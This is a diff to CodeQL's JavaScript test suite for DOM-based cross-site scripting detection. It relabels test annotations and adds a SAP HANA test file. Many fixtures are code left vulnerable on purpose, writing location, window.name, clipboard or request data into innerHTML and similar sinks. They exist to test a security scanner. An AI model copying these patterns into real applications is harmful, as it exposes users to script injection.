+| hana.js:90:33:90:45 | rs[0].comment | hana.js:90:33:90:34 | rs | hana.js:90:33:90:45 | rs[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:90:33:90:34 | rs | user-provided value |
 | jwt.js:6:14:6:20 | decoded | jwt.js:4:36:4:39 | data | jwt.js:6:14:6:20 | decoded | Cross-site scripting vulnerability due to $@. | jwt.js:4:36:4:39 | data | user-provided value |
 | typeahead.js:10:16:10:18 | loc | typeahead.js:9:28:9:30 | loc | typeahead.js:10:16:10:18 | loc | Cross-site scripting vulnerability due to $@. | typeahead.js:9:28:9:30 | loc | user-provided value |
 | xmlRequest.js:9:28:9:39 | json.message | xmlRequest.js:8:31:8:46 | xhr.responseText | xmlRequest.js:9:28:9:39 | json.message | Cross-site scripting vulnerability due to $@. | xmlRequest.js:8:31:8:46 | xhr.responseText | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/addEventListener.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/addEventListener.js
index 97d21371d082..5c933dceff32 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/addEventListener.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/addEventListener.js
@@ -1,16 +1,16 @@
-this.addEventListener('message', function(event) {
-    document.write(event.data); // NOT OK
+this.addEventListener('message', function(event) { // $ Source
+    document.write(event.data); // $ Alert
 })
 
-this.addEventListener('message', function({data}) {
-    document.write(data); // NOT OK
+this.addEventListener('message', function({data}) { // $ Source
+    document.write(data); // $ Alert
 })
 
 function test() {
-    function foo(x, event, y) {
-        document.write(x.data);     // OK
-        document.write(event.data); // NOT OK
-        document.write(y.data);     // OK
+    function foo(x, event, y) { // $ Source
+        document.write(x.data);
+        document.write(event.data); // $ Alert
+        document.write(y.data);
     }
 
     window.addEventListener("message", foo.bind(null, {data: 'items'}));
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular-tempate-url.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular-tempate-url.js
index 37d3388ee784..14d645d32c4f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular-tempate-url.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular-tempate-url.js
@@ -1,15 +1,15 @@
 angular.module('myApp', [])
     .directive('myCustomer', function() {
         return {
-            templateUrl: "SAFE" // OK
+            templateUrl: "SAFE"
         }
     })
     .directive('myCustomer', function() {
         return {
-            templateUrl: Cookie.get("unsafe") // NOT OK
+            templateUrl: Cookie.get("unsafe") // $ Alert
         }
     });
 
-addEventListener('message', (ev) => {
+addEventListener('message', (ev) => { // $ Source
     Cookie.set("unsafe", ev.data);
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular2-client.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular2-client.ts
index 6d1823c2f601..66cde9439328 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular2-client.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/angular2-client.ts
@@ -21,29 +21,29 @@ export class AppComponent implements OnInit {
   ) {}
 
   ngOnInit() {
-    this.sanitizer.bypassSecurityTrustHtml(ɵgetDOM().getLocation().href); // NOT OK
+    this.sanitizer.bypassSecurityTrustHtml(ɵgetDOM().getLocation().href); // $ Alert
 
-    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.params.foo); // NOT OK
-    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.queryParams.foo); // NOT OK
-    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.fragment); // NOT OK
-    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.paramMap.get('foo')); // NOT OK
-    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.queryParamMap.get('foo')); // NOT OK
+    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.params.foo); // $ Alert
+    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.queryParams.foo); // $ Alert
+    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.fragment); // $ Alert
+    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.paramMap.get('foo')); // $ Alert
+    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.queryParamMap.get('foo')); // $ Alert
     this.route.paramMap.subscribe(map => {
-      this.sanitizer.bypassSecurityTrustHtml(map.get('foo')); // NOT OK
+      this.sanitizer.bypassSecurityTrustHtml(map.get('foo')); // $ Alert
     });
 
-    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.url[1].path); // NOT OK - though depends on route config
-    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.url[1].parameters.x); // NOT OK
-    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.url[1].parameterMap.get('x')); // NOT OK
-    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.url[1].parameterMap.params.x); // NOT OK
+    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.url[1].path); // $ Alert - though depends on route config
+    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.url[1].parameters.x); // $ Alert
+    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.url[1].parameterMap.get('x')); // $ Alert
+    this.sanitizer.bypassSecurityTrustHtml(this.route.snapshot.url[1].parameterMap.params.x); // $ Alert
 
-    this.sanitizer.bypassSecurityTrustHtml(this.router.url); // NOT OK
+    this.sanitizer.bypassSecurityTrustHtml(this.router.url); // $ Alert
 
-    this.sanitizer2.bypassSecurityTrustHtml(this.router.url); // NOT OK
-    this.renderer.setProperty(this.document.documentElement, 'innerHTML', this.route.snapshot.queryParams.foo); // NOT OK
+    this.sanitizer2.bypassSecurityTrustHtml(this.router.url); // $ Alert
+    this.renderer.setProperty(this.document.documentElement, 'innerHTML', this.route.snapshot.queryParams.foo); // $ Alert
   }
 
   someMethod(routeSnapshot: ActivatedRouteSnapshot) {
-    this.sanitizer.bypassSecurityTrustHtml(routeSnapshot.paramMap.get('foo')); // NOT OK
+    this.sanitizer.bypassSecurityTrustHtml(routeSnapshot.paramMap.get('foo')); // $ Alert
   }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/classnames.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/classnames.js
index a0e75045a2eb..0d9f2d9fad21 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/classnames.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/classnames.js
@@ -4,15 +4,15 @@ import classNamesB from 'classnames/bind';
 import clsx from 'clsx';
 
 function main() {
-    document.body.innerHTML = `<span class="${classNames(window.name)}">Hello<span>`; // NOT OK
-    document.body.innerHTML = `<span class="${classNamesD(window.name)}">Hello<span>`; // NOT OK
-    document.body.innerHTML = `<span class="${classNamesB(window.name)}">Hello<span>`; // NOT OK
-    let unsafeStyle = classNames.bind({foo: window.name});
-    document.body.innerHTML = `<span class="${unsafeStyle('foo')}">Hello<span>`; // NOT OK
+    document.body.innerHTML = `<span class="${classNames(window.name)}">Hello<span>`; // $ Alert
+    document.body.innerHTML = `<span class="${classNamesD(window.name)}">Hello<span>`; // $ Alert
+    document.body.innerHTML = `<span class="${classNamesB(window.name)}">Hello<span>`; // $ Alert
+    let unsafeStyle = classNames.bind({foo: window.name}); // $ Source
+    document.body.innerHTML = `<span class="${unsafeStyle('foo')}">Hello<span>`; // $ Alert
     let safeStyle = classNames.bind({});
-    document.body.innerHTML = `<span class="${safeStyle(window.name)}">Hello<span>`; // NOT OK
-    document.body.innerHTML = `<span class="${safeStyle('foo')}">Hello<span>`; // OK
-    document.body.innerHTML = `<span class="${clsx(window.name)}">Hello<span>`; // NOT OK
+    document.body.innerHTML = `<span class="${safeStyle(window.name)}">Hello<span>`; // $ Alert
+    document.body.innerHTML = `<span class="${safeStyle('foo')}">Hello<span>`;
+    document.body.innerHTML = `<span class="${clsx(window.name)}">Hello<span>`; // $ Alert
 
-    document.body.innerHTML += `<span class="${clsx(window.name)}">Hello<span>`; // NOT OK
+    document.body.innerHTML += `<span class="${clsx(window.name)}">Hello<span>`; // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/clipboard.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/clipboard.ts
index b87d5a43beea..79970a0e1b77 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/clipboard.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/clipboard.ts
@@ -5,14 +5,14 @@ function paste(e) {
     if (!clipboardData) return;
 
     const text = clipboardData.getData('text/plain');
-    const html = clipboardData.getData('text/html');
+    const html = clipboardData.getData('text/html'); // $ Source
     if (!text && !html) return;
 
     e.preventDefault();
 
     const div = document.createElement('div');
     if (html) {
-        div.innerHTML = html; // NOT OK
+        div.innerHTML = html; // $ Alert
     } else {
         div.textContent = text;
     }
@@ -21,16 +21,16 @@ function paste(e) {
 
 export function install(el: HTMLElement): void {
     el.addEventListener('paste', (e) => {
-        $("#id").html(e.clipboardData.getData('text/html')); // NOT OK    
+        $("#id").html(e.clipboardData.getData('text/html')); // $ Alert
     })
 }
 
 document.addEventListener('paste', (e) => {
-    $("#id").html(e.clipboardData.getData('text/html')); // NOT OK
+    $("#id").html(e.clipboardData.getData('text/html')); // $ Alert
 });
 
 $("#foo").bind('paste', (e) => {
-    $("#id").html(e.originalEvent.clipboardData.getData('text/html')); // NOT OK
+    $("#id").html(e.originalEvent.clipboardData.getData('text/html')); // $ Alert
 });
 
 (function () {
@@ -40,14 +40,14 @@ $("#foo").bind('paste', (e) => {
         if (!clipboardData) return;
 
         const text = clipboardData.getData('text/plain');
-        const html = clipboardData.getData('text/html');
+        const html = clipboardData.getData('text/html'); // $ Source
         if (!text && !html) return;
 
         e.preventDefault();
 
         const div = document.createElement('div');
         if (html) {
-            div.innerHTML = html; // NOT OK
+            div.innerHTML = html; // $ Alert
         } else {
             div.textContent = text;
         }
@@ -68,9 +68,9 @@ async function getClipboardData(e: ClipboardEvent): Promise<Array<File | string>
     }
   
     if (e.clipboardData.types.includes('text/html')) {
-      const droppedHtml = e.clipboardData.getData('text/html');
+      const droppedHtml = e.clipboardData.getData('text/html'); // $ Source
       const container = document.createElement('html');
-      container.innerHTML = droppedHtml;
+      container.innerHTML = droppedHtml; // $ Alert
       const imgs = container.getElementsByTagName('img');
       if (imgs.length === 1) {
         const src = imgs[0].src;
@@ -95,7 +95,7 @@ async function getClipboardData(e: ClipboardEvent): Promise<Array<File | string>
         const { data, inputType, isComposing, dataTransfer } = e;
         if (!dataTransfer) return;
 
-        const html = dataTransfer.getData('text/html');
-        $("#id").html(html); // NOT OK
+        const html = dataTransfer.getData('text/html'); // $ Source
+        $("#id").html(html); // $ Alert
     });
 })();
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/custom-element.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/custom-element.js
index 9177f08bdc5c..dfa55453917a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/custom-element.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/custom-element.js
@@ -2,6 +2,6 @@ import * as dummy from 'dummy';
 
 class CustomElm extends HTMLElement {
     test() {
-        this.innerHTML = window.name; // NOT OK
+        this.innerHTML = window.name; // $ Alert
     }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/d3.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/d3.js
index 1bb64b48b214..df6fd9f439f0 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/d3.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/d3.js
@@ -1,22 +1,22 @@
 const d3 = require('d3');
 
 function getTaint() {
-    return window.name;
+    return window.name; // $ Source
 }
 
 function doSomething() {
     d3.select('#main')
         .attr('width', 100)
         .style('color', 'red')
-        .html(getTaint()) // NOT OK
-        .html(d => getTaint()) // NOT OK
+        .html(getTaint()) // $ Alert
+        .html(d => getTaint()) // $ Alert
         .call(otherFunction)
-        .html(d => getTaint()); // NOT OK
+        .html(d => getTaint()); // $ Alert
 }
 
 
 function otherFunction(selection) {
     selection
         .attr('foo', 'bar')
-        .html(getTaint()); // NOT OK
+        .html(getTaint()); // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dates.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dates.js
index 47513c796d96..20e71516a9f7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dates.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dates.js
@@ -6,19 +6,19 @@ import dateformat from 'dateformat';
 
 function main() {
     let time = new Date();
-    let taint = decodeURIComponent(window.location.hash.substring(1));
+    let taint = decodeURIComponent(window.location.hash.substring(1)); // $ Source
 
-    document.body.innerHTML = `Time is ${dateFns.format(time, taint)}`; // NOT OK
-    document.body.innerHTML = `Time is ${dateFnsEsm.format(time, taint)}`; // NOT OK
-    document.body.innerHTML = `Time is ${dateFnsFp.format(taint)(time)}`; // NOT OK
+    document.body.innerHTML = `Time is ${dateFns.format(time, taint)}`; // $ Alert
+    document.body.innerHTML = `Time is ${dateFnsEsm.format(time, taint)}`; // $ Alert
+    document.body.innerHTML = `Time is ${dateFnsFp.format(taint)(time)}`; // $ Alert
     document.body.innerHTML = `Time is ${dateFns.format(taint, time)}`; // OK - time arg is safe
     document.body.innerHTML = `Time is ${dateFnsFp.format(time)(taint)}`; // OK - time arg is safe
-    document.body.innerHTML = `Time is ${moment(time).format(taint)}`; // NOT OK
-    document.body.innerHTML = `Time is ${moment(taint).format()}`; // OK
-    document.body.innerHTML = `Time is ${dateformat(time, taint)}`; // NOT OK
+    document.body.innerHTML = `Time is ${moment(time).format(taint)}`; // $ Alert
+    document.body.innerHTML = `Time is ${moment(taint).format()}`;
+    document.body.innerHTML = `Time is ${dateformat(time, taint)}`; // $ Alert
 
     import dayjs from 'dayjs';
-    document.body.innerHTML = `Time is ${dayjs(time).format(taint)}`; // NOT OK
+    document.body.innerHTML = `Time is ${dayjs(time).format(taint)}`; // $ Alert
 }
 
 import LuxonAdapter from "@date-io/luxon";
@@ -27,36 +27,36 @@ import MomentAdapter from "@date-io/moment";
 import DayJSAdapter from "@date-io/dayjs"
 
 function dateio() {
-    let taint = decodeURIComponent(window.location.hash.substring(1));
+    let taint = decodeURIComponent(window.location.hash.substring(1)); // $ Source
 
     const dateFns = new DateFnsAdapter();
     const luxon = new LuxonAdapter();
     const moment = new MomentAdapter();
     const dayjs = new DayJSAdapter();
 
-    document.body.innerHTML = `Time is ${dateFns.formatByString(new Date(), taint)}`; // NOT OK
-    document.body.innerHTML = `Time is ${luxon.formatByString(luxon.date(), taint)}`; // NOT OK
-    document.body.innerHTML = `Time is ${moment.formatByString(moment.date(), taint)}`; // NOT OK
-    document.body.innerHTML = `Time is ${dayjs.formatByString(dayjs.date(), taint)}`; // NOT OK
+    document.body.innerHTML = `Time is ${dateFns.formatByString(new Date(), taint)}`; // $ Alert
+    document.body.innerHTML = `Time is ${luxon.formatByString(luxon.date(), taint)}`; // $ Alert
+    document.body.innerHTML = `Time is ${moment.formatByString(moment.date(), taint)}`; // $ Alert
+    document.body.innerHTML = `Time is ${dayjs.formatByString(dayjs.date(), taint)}`; // $ Alert
 }
 
 import { DateTime } from "luxon";
 
 function luxon() {
-    let taint = decodeURIComponent(window.location.hash.substring(1));
+    let taint = decodeURIComponent(window.location.hash.substring(1)); // $ Source
 
-    document.body.innerHTML = `Time is ${DateTime.now().plus({years: 1}).toFormat(taint)}`; // NOT OK
-    document.body.innerHTML = `Time is ${new DateTime().setLocale('fr').toFormat(taint)}`; // NOT OK
-    document.body.innerHTML = `Time is ${DateTime.fromISO("2020-01-01").startOf('day').toFormat(taint)}`; // NOT OK
+    document.body.innerHTML = `Time is ${DateTime.now().plus({years: 1}).toFormat(taint)}`; // $ Alert
+    document.body.innerHTML = `Time is ${new DateTime().setLocale('fr').toFormat(taint)}`; // $ Alert
+    document.body.innerHTML = `Time is ${DateTime.fromISO("2020-01-01").startOf('day').toFormat(taint)}`; // $ Alert
 }
 
 function dateio2() {
-    let taint = decodeURIComponent(window.location.hash.substring(1));
+    let taint = decodeURIComponent(window.location.hash.substring(1)); // $ Source
 
     const moment = new MomentAdapter();
-    document.body.innerHTML = `Time is ${moment.addDays(moment.date("2020-06-21"), 1).format(taint)}`; // NOT OK
+    document.body.innerHTML = `Time is ${moment.addDays(moment.date("2020-06-21"), 1).format(taint)}`; // $ Alert
     const luxon = new LuxonAdapter();
-    document.body.innerHTML = `Time is ${luxon.endOfDay(luxon.date()).toFormat(taint)}`; // NOT OK
+    document.body.innerHTML = `Time is ${luxon.endOfDay(luxon.date()).toFormat(taint)}`; // $ Alert
     const dayjs = new DayJSAdapter();
-    document.body.innerHTML = `Time is ${dayjs.setHours(dayjs.date(), 4).format(taint)}`; // NOT OK
+    document.body.innerHTML = `Time is ${dayjs.setHours(dayjs.date(), 4).format(taint)}`; // $ Alert
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dragAndDrop.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dragAndDrop.ts
index 487e51c8f8ad..8371c4c49b91 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dragAndDrop.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/dragAndDrop.ts
@@ -5,14 +5,14 @@ function drop(e) {
     if (!dataTransfer) return;
 
     const text = dataTransfer.getData('text/plain');
-    const html = dataTransfer.getData('text/html');
+    const html = dataTransfer.getData('text/html'); // $ Source
     if (!text && !html) return;
 
     e.preventDefault();
 
     const div = document.createElement('div');
     if (html) {
-        div.innerHTML = html; // NOT OK
+        div.innerHTML = html; // $ Alert
     } else {
         div.textContent = text;
     }
@@ -21,16 +21,16 @@ function drop(e) {
 
 export function install(el: HTMLElement): void {
     el.addEventListener('drop', (e) => {
-        $("#id").html(e.dataTransfer.getData('text/html')); // NOT OK    
+        $("#id").html(e.dataTransfer.getData('text/html')); // $ Alert
     })
 }
 
 document.addEventListener('drop', (e) => {
-    $("#id").html(e.dataTransfer.getData('text/html')); // NOT OK
+    $("#id").html(e.dataTransfer.getData('text/html')); // $ Alert
 });
 
 $("#foo").bind('drop', (e) => {
-    $("#id").html(e.originalEvent.dataTransfer.getData('text/html')); // NOT OK
+    $("#id").html(e.originalEvent.dataTransfer.getData('text/html')); // $ Alert
 });
 
 (function () {
@@ -40,14 +40,14 @@ $("#foo").bind('drop', (e) => {
         if (!dataTransfer) return;
 
         const text = dataTransfer.getData('text/plain');
-        const html = dataTransfer.getData('text/html');
+        const html = dataTransfer.getData('text/html'); // $ Source
         if (!text && !html) return;
 
         e.preventDefault();
 
         const div = document.createElement('div');
         if (html) {
-            div.innerHTML = html; // NOT OK
+            div.innerHTML = html; // $ Alert
         } else {
             div.textContent = text;
         }
@@ -68,9 +68,9 @@ async function getDropData(e: DragEvent): Promise<Array<File | string>> {
     }
   
     if (e.dataTransfer.types.includes('text/html')) {
-      const droppedHtml = e.dataTransfer.getData('text/html');
+      const droppedHtml = e.dataTransfer.getData('text/html'); // $ Source
       const container = document.createElement('html');
-      container.innerHTML = droppedHtml;
+      container.innerHTML = droppedHtml; // $ Alert
       const imgs = container.getElementsByTagName('img');
       if (imgs.length === 1) {
         const src = imgs[0].src;
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/encodeuri.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/encodeuri.js
index a48f720bed1a..152a986bbf6e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/encodeuri.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/encodeuri.js
@@ -1,4 +1,4 @@
 function test() {
   let loc = window.location.href;
-  $('<a href="' + encodeURIComponent(loc) + '">click</a>'); // OK
+  $('<a href="' + encodeURIComponent(loc) + '">click</a>');
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/event-handler-receiver.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/event-handler-receiver.js
index 5b79cfce8993..8eebe40b4179 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/event-handler-receiver.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/event-handler-receiver.js
@@ -1,3 +1,3 @@
 document.getElementById('my-id').onclick = function() {
-  this.parentNode.innerHTML = '<h2><a href="' + location.href + '">A link</a></h2>'; // NOT OK
+  this.parentNode.innerHTML = '<h2><a href="' + location.href + '">A link</a></h2>'; // $ Alert
 };
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/express.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/express.js
index cab534d3832c..2d1af9065d35 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/express.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/express.js
@@ -3,9 +3,8 @@ var app = express();
 
 import { JSDOM } from "jsdom";
 app.get('/some/path', function (req, res) {
-    // NOT OK
-    new JSDOM(req.param("wobble"), { runScripts: "dangerously" });
+    new JSDOM(req.param("wobble"), { runScripts: "dangerously" }); // $ Alert
+
 
-    // OK
     new JSDOM(req.param("wobble"), { runScripts: "outside-only" });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/hana.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/hana.js
new file mode 100644
index 000000000000..ef7c9cd71eb1
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/hana.js
@@ -0,0 +1,93 @@
+const hana = require('@sap/hana-client');
+const express = require('express');
+
+const app = express();
+const connectionParams = {};
+const query = ``;
+app.post('/documents/find', (req, res) => {
+    const conn = hana.createConnection();
+    conn.connect(connectionParams, (err) => {
+        conn.exec(query, (err, rows) => { 
+          document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+        }); 
+
+        const stmt = conn.prepare(query);
+        stmt.exec([0], (err, rows) => { 
+          document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+        });
+        stmt.execBatch([[1, "a"], [2, "b"]], function(err, rows) { 
+          document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+        });
+        stmt.execQuery([100, "a"], function(err, rs) { 
+          document.body.innerHTML = rs[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+        });
+    });
+});
+
+var hdbext = require('@sap/hdbext');
+var express = require('express');
+var dbStream = require('@sap/hana-client/extension/Stream');
+
+var app1 = express();
+const hanaConfig = {};
+app1.use(hdbext.middleware(hanaConfig));
+
+app1.get('/execute-query', function (req, res) {
+  var client = req.db;
+  client.exec(query, function (err, rs) { 
+    document.body.innerHTML = rs[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+  });
+
+  dbStream.createProcStatement(client, query, function (err, stmt) {
+    stmt.exec({ A: 1, B: 4 }, function (err, params, dummyRows, tablesRows) {
+      document.body.innerHTML = dummyRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+      document.body.innerHTML = tablesRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+    });
+  });
+
+  hdbext.loadProcedure(client, null, query, function(err, sp) {
+    sp(3, maliciousInput, function(err, parameters, dummyRows, tablesRows) {
+      document.body.innerHTML = dummyRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+      document.body.innerHTML = tablesRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+    });
+  });
+});
+
+
+var hdb = require('hdb');
+const async = require('async');
+const { q } = require('underscore.string');
+
+const options = {};
+const app2 = express();
+
+app2.post('/documents/find', (req, res) => {
+  var client = hdb.createClient(options);
+
+  client.connect(function onconnect(err) {
+
+    client.exec(query, function (err, rows) { 
+      document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+    });
+    client.exec(query, options, function(err, rows) { 
+      document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+    });
+
+    client.prepare(query, function (err, statement){
+      statement.exec([1], function (err, rows) { 
+        document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+      }); 
+    });
+
+    client.prepare(query, function(err, statement){
+      statement.exec({A: 3, B: 1}, function(err, parameters, dummyRows, tableRows) {
+        document.body.innerHTML = dummyRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+        document.body.innerHTML = tableRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+      }); 
+    });
+
+    client.execute(query, function(err, rs) { 
+      document.body.innerHTML = rs[0].comment; // $ Alert[js/xss-additional-sources-dom-test]
+    });
+  });
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery.js
index 3369df5dd873..d025ace184c8 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery.js
@@ -1,38 +1,38 @@
 function test() {
-  var tainted = document.location.search
+  var tainted = document.location.search // $ Source
 
   $(tainted);                        // OK - location.search starts with '?'
-  $("body", tainted);                // OK
-  $("." + tainted);                  // OK
-  $("<div id=\"" + tainted + "\">"); // NOT OK
-  $("body").html("XSS: " + tainted); // NOT OK
+  $("body", tainted);
+  $("." + tainted);
+  $("<div id=\"" + tainted + "\">"); // $ Alert
+  $("body").html("XSS: " + tainted); // $ Alert
   $(window.location.hash);           // OK - location.hash starts with '#'
-  $("<b>" + location.toString() + "</b>"); // NOT OK
+  $("<b>" + location.toString() + "</b>"); // $ Alert
 
   // Not related to jQuery, but the handling of $() should not affect this sink
   let elm = document.getElementById('x');
-  elm.innerHTML = decodeURIComponent(window.location.hash); // NOT OK
-  elm.innerHTML = decodeURIComponent(window.location.search); // NOT OK
-  elm.innerHTML = decodeURIComponent(window.location.toString()); // NOT OK
+  elm.innerHTML = decodeURIComponent(window.location.hash); // $ Alert
+  elm.innerHTML = decodeURIComponent(window.location.search); // $ Alert
+  elm.innerHTML = decodeURIComponent(window.location.toString()); // $ Alert
 
-  let hash = window.location.hash;
+  let hash = window.location.hash; // $ Source
   $(hash); // OK - start with '#'
 
-  $(hash.substring(1)); // NOT OK
-  $(hash.substring(1, 10)); // NOT OK
-  $(hash.substr(1)); // NOT OK
-  $(hash.slice(1)); // NOT OK
-  $(hash.substring(0, 10)); // OK
+  $(hash.substring(1)); // $ Alert
+  $(hash.substring(1, 10)); // $ Alert
+  $(hash.substr(1)); // $ Alert
+  $(hash.slice(1)); // $ Alert
+  $(hash.substring(0, 10));
 
-  $(hash.replace('#', '')); // NOT OK
-  $(window.location.search.replace('?', '')); // NOT OK
-  $(hash.replace('!', '')); // OK
-  $(hash.replace('blah', '')); // OK
+  $(hash.replace('#', '')); // $ Alert
+  $(window.location.search.replace('?', '')); // $ Alert
+  $(hash.replace('!', ''));
+  $(hash.replace('blah', ''));
 
-  $(hash + 'blah'); // OK
+  $(hash + 'blah');
   $('blah' + hash); // OK - does not start with '<'
-  $('<b>' + hash + '</b>'); // NOT OK
+  $('<b>' + hash + '</b>'); // $ Alert
 
-  $('#foo').replaceWith(tainted); // NOT OK
-  $('#foo').replaceWith(() => tainted); // NOT OK
+  $('#foo').replaceWith(tainted); // $ Alert
+  $('#foo').replaceWith(() => tainted); // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/json-stringify.jsx b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/json-stringify.jsx
index 85ad5cef8d43..ae373dd4ea96 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/json-stringify.jsx
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/json-stringify.jsx
@@ -2,7 +2,7 @@ var express = require("express");
 var app = express();
 
 app.get("/some/path", function (req, res) {
-  const locale = req.param("locale");
+  const locale = req.param("locale"); // $ Source
   const breadcrumbList = [
     {
       "@type": "ListItem",
@@ -28,15 +28,15 @@ app.get("/some/path", function (req, res) {
   };
   <script
     type="application/ld+json"
-    dangerouslySetInnerHTML={{ __html: JSON.stringify(locale) }} // NOT OK
+    dangerouslySetInnerHTML={{ __html: JSON.stringify(locale) }} // $ Alert
   />;
   <script
     type="application/ld+json"
-    dangerouslySetInnerHTML={{ __html: JSON.stringify(jsonLD) }} // NOT OK
+    dangerouslySetInnerHTML={{ __html: JSON.stringify(jsonLD) }} // $ Alert
   />;
   <script
     type="application/ld+json"
-    dangerouslySetInnerHTML={{ __html: JSON.stringify({}) }} // OK
+    dangerouslySetInnerHTML={{ __html: JSON.stringify({}) }}
   />;
-  <script type="application/ld+json">{ JSON.stringify(jsonLD) }</script> // OK
+  <script type="application/ld+json">{ JSON.stringify(jsonLD) }</script>
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jwt-server.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jwt-server.js
index 08183d0db7e3..86b4c3e8d3cb 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jwt-server.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jwt-server.js
